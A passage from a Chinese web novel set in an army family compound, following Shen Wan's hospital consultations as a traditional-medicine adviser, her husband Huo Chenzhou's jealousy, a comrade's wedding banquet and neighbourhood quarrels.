他说完转身就往另一个卧室走，苏琴杉从背后抱住他："阿战！" 顾战却一根根掰开她的手指，头也不回地走进客房，"砰"地一声甩上门。 …… 回到家时，霍小川已经困得眼皮打架，沈晚催着小家伙洗漱完上床睡觉。 等孩子睡熟后，沈晚坐在客厅揉着太阳穴，喝酒的后劲上来了，脑仁一跳一跳地疼。 霍沉舟从厨房端来一碗红糖水："喝点这个，能舒服些。" 沈晚听到声音缓缓抬头，水润的杏眸泛着微醺的雾气，被酒液润泽过的唇瓣嫣红饱满，双颊染着醉人的绯色。 她无意识地舔了舔嘴唇，这个动作让霍沉舟口干舌燥起来。 第九十二章 老公 "还疼吗？"他嗓音低哑，指腹轻轻按上她的太阳穴。 沈晚仰着脸看他，酒精让她的反应慢了半拍："嗯……这里也疼……" 她抓着霍沉舟的手移到后颈，想让他帮忙按按。 沈晚的肌肤因酒精泛着淡淡的粉，往日伶牙俐齿的小女人此刻像只慵懒的猫，额头抵在他腰间轻轻蹭着，发丝间飘来淡淡的酒香。 "霍沉舟。"她含混地唤道，尾音拖得绵软。 男人垂眸浅笑："叫声别的听听。" 沈晚迷蒙地眨着眼，浓密的睫毛在眼下投出小片阴影。 她歪着头思考片刻，突然绽开甜笑："老公~" 这声带着浓浓依赖感的称呼像羽毛般扫过霍沉舟心尖。 他猛地将人打横抱起，大步走向里屋，军靴踢开碍事的矮凳："再叫一声。" 沈晚勾着他的脖子："老公，我头疼。" 霍沉舟将她轻轻放在炕上，俯身吻住她微蹙的眉心："乖，下次别喝酒了。" 就在两人意乱情迷之际，门外突然传来霍小川带着哭腔的声音："爸爸妈妈。" 霍沉舟反应极快，一把扯过被子将沈晚裹得严严实实，只露出个毛茸茸的发顶。 他深吸一口气稳住声线："小川，怎么了？" 小家伙抽抽搭搭地站在门外：“爸爸，我做噩梦了，梦见妈妈被大灰狼叼走了。” 霍沉舟：“……你只是做梦了，妈妈没事的。” 霍小川瘪着嘴：“可是我害怕。” 被子里，沈晚憋笑憋得浑身发抖。 霍沉舟无奈地坐起来：“那爸爸陪你睡觉。” 霍沉舟陪霍小川到隔壁房间，将小家伙搂在怀里，用低沉的嗓音讲着故事。 霍小川的眼皮很快就开始打架，不一会儿就发出了均匀的呼吸声。 确认儿子睡熟后，霍沉舟轻手轻脚地起身，心里惦记着那个小妖精，三步并作两步回到侧卧。 谁知掀开被子一看—— 沈晚蜷缩成小小一团，红唇微张，已经睡得香甜。 霍沉舟无奈地轻叹一声，脱下外衣将沈晚轻轻揽入怀中。 * 第二天，张德志就气势汹汹地去政治处举报李丽恶意造谣、辱骂军属。 政治处主任听着张德志的举报，脸色越来越凝重，他立即派了两名干事展开调查："这事关军属名誉，必须查清楚。" 两名干事先是走访了家属院的几位邻居。 赵晓燕和孙秀芝她们都把事情的前因后果说的很清楚。 调查人员又找到李丽对质。 起初她还支支吾吾想抵赖，但当干事们把收集到的证词一一摆出来时，李丽顿时慌了神。 "我就是随口一说。"李丽结结巴巴地辩解。 "随口一说？"干事严厉地打断她，"你知不知道你这些话已经构成了诽谤军属的罪名？" 最终，李丽不得不低头认错，在调查笔录上签了字。 当天一纸处分通知贴在了大院公告栏上：全院通报批评李丽，记入军人配偶档案，王强军本年度不得参与评优评先。 李丽听说王强军因此不能评优评先，肠子都悔青了。 她虽然蠢笨，但也明白夫妻一荣俱荣的道理，王强军要是能升职，她的随军待遇也能跟着提高啊！ 王强军得知这个消息后，就更没给过她一个好脸，动不动就摔打家里的东西，李丽也不敢管他。 李丽被打得鼻青脸肿，整个人憔悴得像老了十岁。 傍晚，她好不容易逮着天黑了点，在院子里坐会透透风，又被看不惯她的军嫂嘲笑了一番： “哎哟，李丽，你这脸咋回事啊？青一块紫一块的。” "是被老王打的吧？让你嘴贱，这下遭报应了，连累你家老王都不能评优评先了。" 李丽下意识要怼回去，突然瞥见王强军阴沉着脸从院外走来，顿时像鹌鹑似的缩起脖子，拎着小凳子就溜回屋里。 王强军一进门就摔摔打打，李丽战战兢兢把饭菜端上桌。 男人尝了一口炒白菜，"呸"地一声全吐在她身上："你故意要咸死我？" 滚烫的菜汤顺着李丽的衣领往下淌，她一点脾气也不敢有：“你再吃点别的菜。” 王强军把筷子拍在桌子上：“把老子的酒拿过来！” 之前李丽是不会让他喝酒的，但是现在被王强军吼了一声，屁都不敢放，转身把家里珍藏的西凤酒拿过来了。 王强军接过酒瓶，直接对嘴灌了三四口，李丽看着心疼，小声劝道："少喝点吧……" 王强军瞪了她一眼。 吃饱喝足，就往炕上一躺，鼾声震天响。 李丽半夜看着丈夫的背影，忍不住偷偷抹了抹眼泪。 …… 几天后到了周日，正是顾战请弟兄们喝喜酒的日子。 自从假酒事件后，顾战对苏琴杉失望透顶，可架不住她日日以泪洗面地道歉。 甚至在某个晚上要献身给他，顾战无奈之下只好和她约法三章。 苏琴杉也立马就同意了。 所以喜酒还是要照办，但顾战提出结婚证等他休假回老家再办，苏琴杉也同意了。 顾战最终在部队食堂摆了十桌喜酒，虽然心里有疙瘩，但该有的体面一样没少苏琴杉。 酒席的配置是每桌八菜一汤，散装白酒管够，每桌两包大前门香烟，瓜子喜糖随便抓。 十桌一共花了一百三十块钱，相当于顾战两个月的津贴。 花钱的时候，苏琴杉依旧心疼，但是不敢再多说什么了，任由顾战去办。 霍沉舟和沈晚虽然没去，但是特意送了半扇猪肉到食堂，这可是实打实的硬货。 当炊事班的战士们扛着油光水滑的猪肉进场时，整个食堂都沸腾了，这猪肉粉白相间，肥瘦得宜。 食堂大师傅带着炊事班忙活了一整天，战士们吃得满嘴流油。 苏琴杉则穿着喜庆的红色棉袄，和顾战一桌桌敬酒。 每走到一桌，战士们就起哄着夸赞： "顾营长好福气啊！娶了个这么水灵的媳妇！" "瞧瞧新娘子这小脸盘，跟年画里的仙女似的！" "顾战你小子行啊，不声不响就讨到这么俊的婆娘！" 第九十三章 准备元旦 苏琴杉被夸得脸颊绯红，娇羞地往顾战身后躲，她今天特意梳了两条油亮的大辫子，发间别着红绒花，在军绿色的人堆里格外扎眼。 喜酒一直喝到晚上，顾战和苏琴杉回到家里。 顾战喝得醉醺醺的，倒在炕上就昏昏欲睡。 苏琴杉站在门口，有些紧张地捏紧了衣角。 想到接下来要做的事，她羞涩地咬了咬下唇，犹豫片刻后，她轻轻关上门，开始一颗颗解开衣服的扣子，最后只剩下一件贴身的白色小背心。 这个天气，不穿衣服的苏琴杉冻得瑟瑟发抖，她轻手轻脚爬上炕，从背后抱住顾战。 顾战本来醉意朦胧，后背突然贴上一片温软，顿时一个激灵坐起来，只见苏琴杉双手撑在炕上，白色背心勾勒出凹凸的曲线，含羞带怯地望着他：“阿战~” 顾战只瞄了一眼就慌忙移开视线，咽了口唾沫:"琴杉，你干什么？" 苏琴杉冰凉的手指攀上他的胸膛:"今天是我们的新婚夜，我愿意把自己交给你。" 顾战呼吸粗重，内心天人交战。 苏琴杉还想扑上来抱住他，顾战一狠心，直接用被子把她裹成了个蚕蛹："咱俩还没领证，等回老家领完证再...再想这事吧。" 说完他逃也似地冲出房间，一路跑到厨房，从口袋里摸出今天战友塞给他的那支香烟，用火柴点燃，狠狠吸了一口。 他之前不会抽烟，还是来部队住宿舍的时候和战友学会了。 烟头明明灭灭，这个憨厚的汉子第一次露出痛苦挣扎的神情。 他刚才说的是想等领完证再碰苏琴杉，其实是他开始犹豫到底要不要领证了…… …… 还有三天就到元旦了，按照东北的习俗，家家户户都得忙起来。 沈晚第一次来东北，啥都不懂，霍沉舟也不提醒她，正在家里研究新药方呢，赵晓燕突然来找她。 "妹子，你家蒸粘豆包了吗？" 沈晚眼底闪过一丝迷茫：“没有哎。” "炸麻花呢？" "......也没有。" 赵晓燕"啧"地一声："这不马上元旦了嘛！俺们东北的习俗，腊月里就得备好粘豆包、炸麻花、冻饺子，这样过年才能富富裕裕的！" 沈晚：“可是我不会……” 赵晓燕直接拽起她就走："不会怕啥，姐教你！" "咱先去服务社买点黄米面和红豆馅！" 沈晚连忙道："我先回家拿钱。" "就那点钱算啥！我带了！" 两人赶到服务社时，果然看见里面站满了人。 赵晓燕护着肚子在门口等了一会，见人少了些才拉着沈晚挤进去。 除了黄米面和红豆馅，两人还买了面粉、鸡蛋和棉籽油。 沈晚坚持不让赵晓燕提重物，自己两手拎满东西，只让赵晓燕拎了一兜子鸡蛋。 回到大院，沈晚把东西放下。 "咱先蒸粘豆包。"赵晓燕挽起袖子，露出两截圆润的胳膊。 “好。” 她先教沈晚和面，黄米面要加温水慢慢揉，力道不能太重也不能太轻，沈晚学得认真，白皙的手指很快沾满金黄的米粉。 "这样？"沈晚把揉好的面团捧给她看。 赵晓燕笑道："可以，比我第一次强多了！" 接着是包馅：揪一团面剂子，拇指在中间转出小窝，塞上满满的红豆馅，再灵巧地收口搓圆。 沈晚起初包得歪歪扭扭，但第三个就已经圆润饱满，整齐地排在笼屉上。 包好粘豆包后，沈晚往大铁锅里添水，架起笼屉，灶膛里的柴火很快就烧了起来。 赵晓燕解释："等蒸好了，得趁热蘸凉水拍在板子上。这样冻透了不会粘，吃的时候一揭就下来。" 现在又闲下来，赵晓燕干脆把炸麻花一起教给了沈晚。 沈晚学着把醒好的面团搓成长条，两手往反方向一拧，再对折成螺旋状。 油锅里的油冒着细密的小泡，麻花一下锅就泛起金黄的泡泡，香气瞬间飘满整个屋子。 赵晓燕用长筷子翻动着麻花："得炸到这种琥珀色才酥脆。" 沈晚端着满满一簸箕的粘豆包和麻花从赵晓燕家出来，正巧看见李丽。 两人视线相撞，李丽只恶狠狠地瞪了她一眼，嘴唇蠕动着无声咒骂，却再不敢像从前那样嚣张地嚷嚷出声了。 回到家，沈晚把金黄油亮的麻花挂在厨房房梁的铁钩上，像串风铃似的排成一排。 粘豆包则整整齐齐码在厨房的柳条筐里，上面盖了层干净的纱布防尘。 照赵姐说的，元旦还要给家里扫尘一次。 沈晚想了想，找来一根木棍，用麻绳将扫帚牢牢绑在顶端，踮着脚尝试扫尘。 她仰着头，小心翼翼地用自制长扫帚清理房梁上的蛛网，那些灰蒙蒙的网丝粘在扫帚上，让她不自觉地皱起鼻子。 霍沉舟回来的时候，看见自家小媳妇正在扫尘。 小女人鼻尖沁着细密的汗珠，秀气的眉毛紧蹙着，脸颊因用力泛着淡淡的红晕。 霍沉舟嘴角不自觉上扬。 他走到沈晚身后，大手握住她举着长杆的手："这种活，该叫我回来做。" 沈晚抬头对他笑了笑，顺势松开手："那你来。" 霍沉舟一米八五的个子，轻松举起长杆，连凳子都不用踩。他边扫边问："怎么突然想起来扫房梁了？" "赵姐跟我说的，这是你们东北过元旦的习俗。"沈晚仰着小脸看他，"你不知道吗？" 扫帚划过房梁，簌簌落下细碎的灰尘。 霍沉舟："我之前一个人过节，不讲究这些。" "那你现在不是一个人过节了。"沈晚歪着头冲他甜笑，眼睛里像是盛满了星光。 霍沉舟心里甜滋滋的，他低笑：“嗯，现在有家了。” 这时，房梁上突然掉下一只蜘蛛，当地应该俗称"钱串子"，足有指甲盖那么大，八条毛茸茸的长腿在空中乱蹬。 霍沉舟下意识护住沈晚："阿晚，你让开点。" 谁知小女人并不怕，反而安慰起霍沉舟了："别怕，这是益虫，专吃蚊子的。" 霍沉舟剑眉紧蹙，有点嫌弃地看着眼前的蜘蛛。 第九十四章 坐诊 第二天，沈晚要去医院坐诊，上次董院长就和她说过了，当中医顾问也要坐诊，只是每个月按自己时间坐诊两天就行了。 原本她以为只需在诊室临时加张桌子就行，没想到董建林直接给她批了间小办公室。 办公室里窗明几净，实木诊桌、针灸床、药柜一应俱全，窗台上还摆着盆翠绿的文竹。 沈晚扫了一眼办公室，问道："董院长，我今天也会有患者吗？" 董建林笑着点头："有！都是其他科室转过来的疑难杂症，你试着治治。" 沈晚听完爽快答应："放心吧。" 董建林冲门口招招手，一个扎着马尾辫的年轻小护士走了进来。 她约莫十八九岁，圆圆的苹果脸上带着腼腆的红晕。 "这是实习护士胡春芳，"董建林介绍道，"暂时安排给你当助手，一些杂活交给她就行。" 胡春芳紧张地鞠了一躬："沈顾问，我不怕苦，您有活尽管吩咐！" 沈晚温和一笑："不用紧张，我没有那么多规矩。" 董建林又嘱咐了几句便离开了。 这间办公室正对着内科诊室，沈晚望着对面人来人往的场景，再看看自己这边空荡荡的办公室，不禁笑着摇摇头："春芳，你要是有事就去忙吧，我这里暂时应该没什么患者。" 胡春芳摇了摇头："董院长说了，今天我就专门协助您。" 沈晚：“……好吧。” 两人有一搭没一搭地聊了一会，突然办公室的门被推开，张思德领了一个面色蜡黄的中年妇女进来了。 沈晚看见张思德，立马站了起来："张医生。" 张思德一见沈晚就忍不住脸红，轻咳一声掩饰："沈同志，不，现在应该叫你沈顾问了。这位患者反复胃脘胀痛三个月，胃镜显示慢性胃炎，但吃西药一个月了也没好转，我带来让你看看。" 大姐上下打量着沈晚，眉头皱得能夹死苍蝇："张医生，你不是说带我见神医吗？怎么是个黄毛丫头？这细胳膊细腿的，能看好病吗？" 张思德安抚："王大姐，您放心！我还能骗您不成？这位沈顾问可是董院长请来的专家。" 大姐将信半疑地躺上诊疗床。 沈晚洗净手后三指搭上她的腕脉。 "您这是肝胃不和兼脾虚湿困。"沈晚边说边取针，"胃脘胀痛多在饭后加重，伴口苦嗳气，大便粘腻不爽，对吧？" 王大姐瞪大眼睛：“神了！你怎么都知道！？” 沈晚笑而不语，拿起银针作势要扎。 王大姐见沈晚拿着手指长的银针靠近，吓得差点从床上蹦起来："这是干啥？！" 张思德连忙按住她："大姐，这是中医针灸，能调理气血。您别怕，就跟蚊子叮一下似的，不疼！" 沈晚指尖轻点她手腕内侧的内关穴："就扎这里，一针下去，您胃里翻江倒海的感觉就能缓解。要是疼，您随时喊停。" 王大姐被胃病折磨得实在没辙，只好咬着后槽牙躺回去，紧紧闭着眼睛嘟囔："闺女，你轻点儿啊。" 沈晚一针下去，果然不疼，胃也好受很多了。 王大姐这下心里对沈晚的医术信了七八分。 扎完针，沈晚又开了副药方：茯苓三钱，陈皮二钱，生姜五片。 可以健脾利湿，理气和胃。 "早晚各一剂，连喝三天。"她边写边嘱咐，"这几天别吃生冷油腻，小米粥最养胃。" 王大姐连连道谢，临走时沈晚又说："让胡护士带您去药房抓药吧。" 王大姐走后，又来了两名患者。 等忙完已是晌午，沈晚坐在椅子上，连手指都不想动，胡春芳贴心地递来热毛巾："沈顾问，我帮您去打饭吧？" 沈晚本想推辞，但实在累得慌，便点点头："谢谢。" 胡春芳走出办公室，门口等着一个和她同期的实习护士冯雪："怎么样？那个沈顾问好相处吗？" 胡春芳撇了撇嘴："就那样吧。跟着她除了要一直跑药房抓药，倒也没什么脏活累活。" 冯雪羡慕道："真羡慕你！不像我，被分到了急诊科。昨晚做了三个手术，忙到凌晨三点，今早护士长还让我去洗带血的纱布。" 胡春芳不屑地笑笑："这有什么好羡慕的？她一个月就来坐诊两天，其他时间我还不是要和你们一样轮值夜班，现在我还得帮她去买饭。" 两人正说着，突然迎面走来一个高大挺拔的军官。 冯雪戳了戳胡春芳："天呐！那个男同志好帅！" 胡春芳抬头看去，顿时也被惊艳到了，她来这个医院一周了，也见识过形形色色的军官，但是都比不上这个男人。 "他看起来在问路，"冯雪推搡她，"春芳，你去问问！" 她长得没有胡春芳好看，很缺乏自信心。 胡春芳理了理鬓角的碎发，款款走上前："同志，您想去哪，说不定我知道呢。" 霍沉舟低头看了眼面前眨巴着大眼睛的护士，声音疏离而礼貌："请问中医顾问办公室怎么走？" 胡春芳心里一喜："太巧了！我今天就在那儿帮忙呢。我带您过去吧？" "不用了，告诉我位置就行。" 胡春芳却不死心："那边走廊七拐八绕的，您第一次来肯定找不着，我现在也没事，我带你过去。" 霍沉舟沉思片刻：“那好吧，多谢了。” 胡春芳娇羞地捏着辫尾：“不麻烦。” 走之前，胡春芳冲冯雪眨眨眼，对方偷偷比了个加油的手势。 一路上，胡春芳绞尽脑汁找话题，奈何对方实在太冷，她说十句，霍沉舟可能就回一个字。 胡春芳没有半分气馁，她妈说了，越是这样不善言辞的男人，谈恋爱了越是疼人。 等把霍沉舟领到沈晚办公室门前，胡春芳热情道："就是这了！" 霍沉舟对胡春芳微微颔首："多谢。" 胡春芳摆摆手："不谢不谢！您也是来找沈顾问看病的吗？" 霍沉舟还没开口，办公室的门突然打开，沈晚揉着酸痛的脖颈走出来，一抬头就愣住了。 第九十五章 拈酸吃醋的霍沉舟 "霍沉舟？你怎么来了？" 看见沈晚，霍沉舟原本冷峻的眉眼瞬间冰雪消融，他深邃的眼眸里漾起温柔的笑意，连唇角都微微上扬："给你送饭。" 一旁的胡春芳看着两人亲密的互动，瞪圆了眼睛："沈顾问，你们俩认识？" 沈晚冲她莞尔一笑："嗯，春芳，不用帮我打饭了，你一上午跟着我也辛苦了，快去吃饭吧。" 胡春芳呆呆地点头，眼睁睁看着霍沉舟牵起沈晚的手走进办公室。直到门关上，她才猛地回过神—— 刚才沈顾问和那个男同志明显关系不一般，难不成他们是在谈恋爱？ 胡春芳想到这，心里又酸又涩，沈顾问运气未免也太好了，年纪轻轻就能来医院当顾问，还有个这么好的对象。 她正发着呆，冯雪来了看见胡春芳失魂落魄的样子，主动走过来关心：“春芳，你怎么了？刚才那个男同志呢？” 胡春芳叹了口气："跟着那个沈顾问进办公室了。" 冯雪一脸茫然："看病吗？" "不是……"胡春芳仰天又长叹一声，"他们俩手都牵上了，一看关系就不一般。" 冯雪突然捂住嘴："哎呀！我今天好像听急诊科的人说，那个沈顾问年纪轻轻就结婚了，丈夫就是咱部队的一个团长！" 胡春芳顿时更扎心了："啊？都结婚了啊。" 她垂头丧气地踢了下墙角，"那更没我什么事了。" "唉，别难过了。"冯雪挽住她的胳膊，"走，吃饭去！食堂今天有好吃的。" * 霍沉舟进入办公室后，第一件事就是反手锁上了门。 沈晚看着他的动作，又好气又好笑："你锁门干什么？" 男人没有回答，而是用行动回应了她。 他先把保温桶放在桌子上。 下一秒，沈晚只觉得天旋地转，霍沉舟一把托住她的臀腿，将她整个人抱起来放在了办公桌上。 "唔...！" 她的惊呼被炙热的吻封住。 霍沉舟的双手撑在她两侧，将她困在办公桌与自己胸膛之间，这个吻带着不容抗拒的强势，却又在触及她舌尖时化作缠绵的温柔。 沈晚被亲得晕头转向，手指无意识地揪住了他的军装领口。 半晌，霍沉舟才意犹未尽地退开，拇指擦过她湿润的唇角，声音沙哑："阿晚，你穿这身真好看。" 沈晚不知怎么突然想到现代的cosplay，俏脸顿时红透，拳头在他胸前轻捶一下："老不正经的！" 霍沉舟眸色一深："我很老？" 他健硕身躯逼近，结实的胸膛将她抵在桌沿。 霍沉舟今年二十六岁，正值壮年。 沈晚两条胳膊挂在他脖子上，笑着摇头："不老。" 霍沉舟深深看她一眼，转而问道："今天累不累？" "累呀~"沈晚趁机撒娇，"胳膊酸，脖子也酸……哪哪都酸。" "那你吃饭，"霍沉舟打开保温桶，香气顿时溢满办公室，"我帮你捏捏。" 保温桶里装着白切鸡、狮子头、炒青菜和白米饭。 沈晚饿坏了，边动筷边问："你今天怎么有空来？" 霍沉舟站在她身后，骨节分明的手按上她后颈："怕你第一天上班不习惯。" 沈晚不以为然：“那你就太小巧了我了。” 她刚夹起一块白切鸡，霍沉舟带着薄茧的指腹就稍稍用力一按—— "嘶，轻点！"沈晚筷子上的白切鸡差点掉下来，"你这手劲是想谋杀我啊？" 霍沉舟低笑一声，力道放柔了些："现在呢？" "嗯...往左一点..."沈晚享受地眯起眼。 此时门外的张思德听见里面的动静，皱了皱眉，抬手敲门："沈顾问，你在吗？" 霍沉舟听到这熟悉的声音，又加重了力道：“那个张医生？” 沈晚"哎呀"一声："轻点儿！张医生应该是有事找我，我去开门。" "吃你的，我去。"霍沉舟按下她欲起的肩膀。 沈晚只好咬着筷子，瞧着霍沉舟一步步走到门口。 门开时，张思德脸上的笑容还没完全展开就凝固了， "霍、霍团长？！" 霍沉舟高大的身影堵在门口，居高临下地看着张思德，声音冷飕飕的："有事？" 张思德壮着胆子往里面瞄了一眼，霍沉舟立刻侧身挡住他的视线。 沈晚怕霍沉舟真把人吓出个好歹，连忙放下筷子走过来："张医生，有事吗？" 张思德把手里的饭盒往身后藏了藏，嗫嚅道：“那个，我想你忙了一上午，可能还没吃饭，就想着给你送点吃的，看来你已经吃上了，那就算了。” 沈晚见张思德的样子，有点不好意思：“张医生，谢谢你的好意。” 张思德连忙摇头："没事没事，那我先走了。" 等张思德离开，霍沉舟"砰"地关上门，冷着脸坐回椅子上。 沈晚凑过去哄他，又是夹菜又是捏肩，可男人始终绷着张俊脸。 沈晚渐渐也没了耐心，索性坐回去专心吃饭。 霍沉舟盯着她鼓动的腮帮子，拳头紧了又松，突然冷飕飕地开口："谁给你安排的办公室？" "啊？"沈晚咬着半根鸡腿抬头，"这办公室咋了？" 男人眯起眼睛，语气酸得能腌黄瓜："怎么偏偏跟内科是对门？那个姓张的找你倒是方便，你们俩是不是聊的挺开心的？" 沈晚差点气笑："我和张医生聊的都是工作，你爱信不信。" 霍沉舟眸光一沉："我给你送饭，你对我就这态度？" 沈晚觉得这男人越来越难缠了，活像个捻酸吃醋的小姑娘："我又没让你送，要是觉得委屈，以后别送就是。我又不求着你。" 霍沉舟盯着她看了许久，下颌线绷得死紧。 半晌，霍沉舟缓缓吐出几个字："阿晚，你真没良心。" 沈晚懒得理他，干脆靠着椅背闭目养神。 又过了几分钟，她听见霍沉舟起身时椅子摩擦地面的声响，然后是门开合的声音。 霍沉舟走了。 沈晚缓缓睁开眼，看着空荡荡的办公室，还没来得及失落，又开始忙起来了。 第九十六章 教训猥琐男 下午，胡春芳吃完饭回来，沈晚让她帮忙整理药材柜。 胡春芳一边分拣药材，一边偷瞄沈晚专注的侧脸，突然酸溜溜地开口："沈顾问，我可真羡慕你……" 沈晚正在称药，闻言随口问道："羡慕我什么？" 胡春芳撅起嘴："年纪轻轻就嫁了个这么好的丈夫，少走半辈子弯路。像我们这种没背景的，不知道要在底层熬多少年。" 沈晚正色道："春芳，我理解你的想法，但靠谁都不如靠自己。脚踏实地把增强实力，比什么关系都管用。" "可你丈夫是团长啊，"胡春芳不依不饶，"连院长都得给他面子，不然怎么会给你批这么好的办公室？" 沈晚微微蹙眉："董院长愿意给我办公室，当然不是因为看我丈夫的面子。" 胡春芳不信："董院长可是咱们医院的一把手，谁见了他不是恭恭敬敬的？却对你一个小辈这么客气，还不是因为你的丈夫是团长。" 沈晚把称好的药用牛皮纸包起来：“那你下次不妨直接问问董院长，是不是因为霍团长的关系，才对我格外客气？你也说了，董院长是医院一把手，德高望重。这样的人物，怎么可能会因为谁的家属身份就区别对待？” 胡春芳张了张嘴，哑口无言：“……哦。” 也不知道她信没信。 沈晚把包好的药递给她："去把这些药送到六号病房去，告诉大婶煎药时要加三碗水，煎至一碗。" 胡春芳磨磨蹭蹭地走了。 胡春芳刚走，诊室门又被推开。 一个身材胖矮的中年男子推着轮椅进来，轮椅上坐着精神矍铄的胡秋菊。 沈晚立刻起身迎上去："老太太，您身体好些了吗？" 胡秋菊一把抓住沈晚的手："闺女，我好多了！上次你那一针下去，心口就跟卸了块大石头似的。" 沈晚笑道：“那就好，你现在的身体还需要好好调养一下。” 胡秋菊转头拍了拍身后男人的手，"根生，快，把锦旗拿出来。" 周根生这才回过神来，抹了把嘴角："好嘞！" 他从包里掏出一面大红锦旗，上面金灿灿绣着"妙手回春仁心仁术"八个大字。 "没想到我妈说的神医是这么年轻漂亮的姑娘，"他咧着嘴凑近，将锦旗往前一递，"这是我们全家人的心意，您可一定要收下啊！" 沈晚被他黏腻的眼神盯得浑身不自在，刚伸手去接，对方却借着锦旗的遮掩，用粗糙的指尖在她手上暧昧地一刮。 "啪！" 沈晚猛地抽回手，锦旗应声落地。 胡秋菊还不知道发生了什么："哎哟，锦旗咋掉了？" 周根生"嘿嘿"一笑："我没拿稳。" 他弯腰要去捡，沈晚比他灵活，抢先一步捡起锦旗，对老太太温声道："您的心意我收到了，快回去休息吧。" "好，好。"胡秋菊笑呵呵地点头，"根生，推我回去吧。" 周根生眼珠子一转，突然捂着胸口呻吟：“妈，我胸口疼。” 胡秋菊被吓了一跳，挣扎着想站起来：“我的儿啊，你怎么了？” 周根生边说话边偷瞄一旁的沈晚：“你不是这个沈医生是神医吗？让她帮我看看不就成了？” 胡秋菊连连点头："对对，沈医生可厉害了！沈医生，你帮我儿子看看吧。" 沈晚看着周根生拙劣的演技，突然勾唇一笑，那笑容如三月春风拂过冰面，带着几分玩味的潋滟。 周根生顿时看呆了，连装痛都忘了，喉结不自觉地滚动了两下。 "心口疼是吧？那你躺那边的诊疗床上去，我帮你看看。" 周根生咽了咽口水，迫不及待地躺到床上，满脑子都是沈晚那双纤纤玉手抚摸自己胸口的香艳画面。 完全没注意到沈晚把针包拿了出来。 沈晚刚走到诊疗床前，周根生就急不可耐地呻吟："医生，快帮我看看~我心口好疼哦~" 说着伸手要去抓沈晚的手腕，"用你的手给我检查嘛……" "周根生！你干什么呢？！" 一声尖利的呵斥突然从门口炸响。 周根生吓得一哆嗦，转头就看见自家媳妇叉腰站在那儿，正瞪圆了眼睛盯着他。 "媳、媳妇，"周根生结结巴巴道，"我心口疼，让医生检查下。" 孙红秀冷笑一声："是吗？医生，您快给他好好检查检查，我倒要看看他是什么毛病！" 周根生顿时蔫了，在心里暗骂："臭婊子坏我好事！" 一抬头却看见沈晚从针包里掏出一根足有七寸长的银针，寒光闪闪的针尖看得他头皮发麻。 “这是干嘛？”周根生吓萎了。 沈晚微微一笑，指尖轻弹针尖："你不是说胸口疼吗？中医讲究望闻问切，我看你舌苔发黄、眼底充血，应该是肝火旺盛导致的心脉瘀阻。" 她手腕一翻，银针悬在周根生头顶："放心，不是大问题。这针下去，保管你病除。" 周根生刚想从床上爬起来，一旁的孙红秀就按住他肩膀："怎么，你不是心口疼吗？赶紧让沈医生给你扎两针！你妈的心脏病就是她扎好的。" 胡秋菊也在一旁帮腔："儿子别怕，一点都不疼的！" 孙红秀利落地掀开周根生的衣襟，露出肥腻的胸膛，他被赶鸭子上架，只能眼睁睁看着沈晚的银针落下。 第一针，内关穴。 周根生顿时倒吸一口冷气，这酸胀感直冲天灵盖！ 第二针，膻中穴。 周根生额头瞬间渗出冷汗，像有千万只蚂蚁在心脏上爬。 最后一针，太冲穴。 周根生终于忍不住惨叫出声："啊——！" 孙红秀忍不住往后退了两步，但是心里没有半分对丈夫的心疼。 这个狗登，趁着她不在，整天拈花惹草，扎死他才好呢。 周根生连滚带爬翻下床，此时他看向沈晚的眼神再也没有半分欲望了，只剩下惊恐，什么美人神医，这分明是个活阎王啊！ 沈晚笑吟吟地收起银针："心口还疼不疼呀？" 周根生像拨浪鼓似的拼命摇头："不疼了不疼了！我全好了！" 胡秋菊再一次感叹沈晚果然医术高明。 周根生嘴角抽搐，有苦难言。 第九十七章 拈酸吃醋的沈晚 沈晚下班后，想到中午霍沉舟吃醋的模样，突然觉得自己好像对他也太凶了，犹豫了一下，便想着去哄哄他吧，这男人其实还是挺好哄的。 她脱下白大褂，把办公室里的东西收拾好，便对胡春芳说：“小胡护士，我先走了，麻烦你锁下门。” 胡春芳似乎有些惊讶：“啊？这才刚五点啊，您就走了？” 沈晚不解：“不是已经到下班的点了吗？” “但是大家都会自愿加班的，你这样是不是不太合适啊？” "董院长说过我不需要加班。"沈晚拎起包，"治病救人靠的是效率，不是耗时间，我先走了。" “可是……”胡春芳还想说点什么，沈晚已经走了。 胡春芳只好拉着脸把办公室的门锁上了，冯雪又来了："春芳，那个沈顾问呢？" "下班了。" "啊？"冯雪瞪大眼睛，"这也太早了吧？" "可不是嘛，"胡春芳撇撇嘴，"这就是人与人之间的差距吗？我们还得上夜班，有后台就是不一样。" 冯雪深有体会："你知道急诊科那个林医生吗？" 胡春芳想了想："林怡宁？" "对啊！她就是仗着有家世，在医院里横着走，听说她爸和董院长是老战友呢！上次她把病历写错了，结果就写了份检查了事。" 胡春芳羡慕地咂咂嘴："要是我爸也是院长朋友，我也不用天天值夜班了。" 沈晚出了医院，沿着部队大院的林荫道往霍沉舟的办公楼走去。 两公里的路程，她打算当作散步，想到霍沉舟见到她时的惊喜表情，不由垂眸扬了扬唇角。 寒风袭来，她把围巾往上拉了拉，只露出光洁的额头和一双水汪汪的杏眼。 脚下的水泥路被前几天的积雪融化弄得湿漉漉的，她小心避开那些积水坑。 这时，身后突然传来引擎轰鸣。 还不等她回头，一辆军用吉普擦着她的发丝飞驰而过，车轮碾过水坑，"哗"地溅起一片泥水—— 沈晚僵在原地，低头看着军绿色裤腿上溅满的泥点子，刚才的好心情瞬间荡然无存。 谁这么没有公德心？ 再抬头，那辆车已经开远了。 林怡宁从后视镜里看见沈晚狼狈的样子，得意地骂了声："活该！" 驾驶位上的林国栋呵呵一笑："开心了？" "开心！"林怡宁撒娇地往父亲肩上靠，"爸，你不知道，我在部队都要被那个贱人欺负死了！" 林国栋单手扶着方向盘，宠溺地躲了躲："开车呢，闺女，乖。" 林怡宁撇撇嘴："我妈怎么不来看我？" "你妈得在家照顾你嫂子。" "哼！我妈现在心里是不是只有崔明珠和她肚子里的孩子？" 林国栋无奈摇头："胡说，你妈最疼的永远是你。" 林怡宁冷哼一声，靠回椅背，阴恻恻道："还不知道能不能生下来呢，就敢让我妈伺候她。" 林国栋无奈道："闺女！这话可不能乱说！不吉利。" 林怡宁朝林国栋吐了吐舌头：“我知道嘛，开玩笑的。” …… 等沈晚到达办公楼时，她不想打扰霍沉舟工作，便站在一棵老树下等候，她将手揣在棉袄口袋里取暖，时不时呵口热气搓搓指尖。 约莫过了半小时，办公楼里开始陆续有人出来。 沈晚立刻打起精神，踮起脚尖张望。 当霍沉舟挺拔的身影出现在门口时，她刚扬起笑容要招手。 突然，她注意到霍沉舟身后还跟着一位女同志。 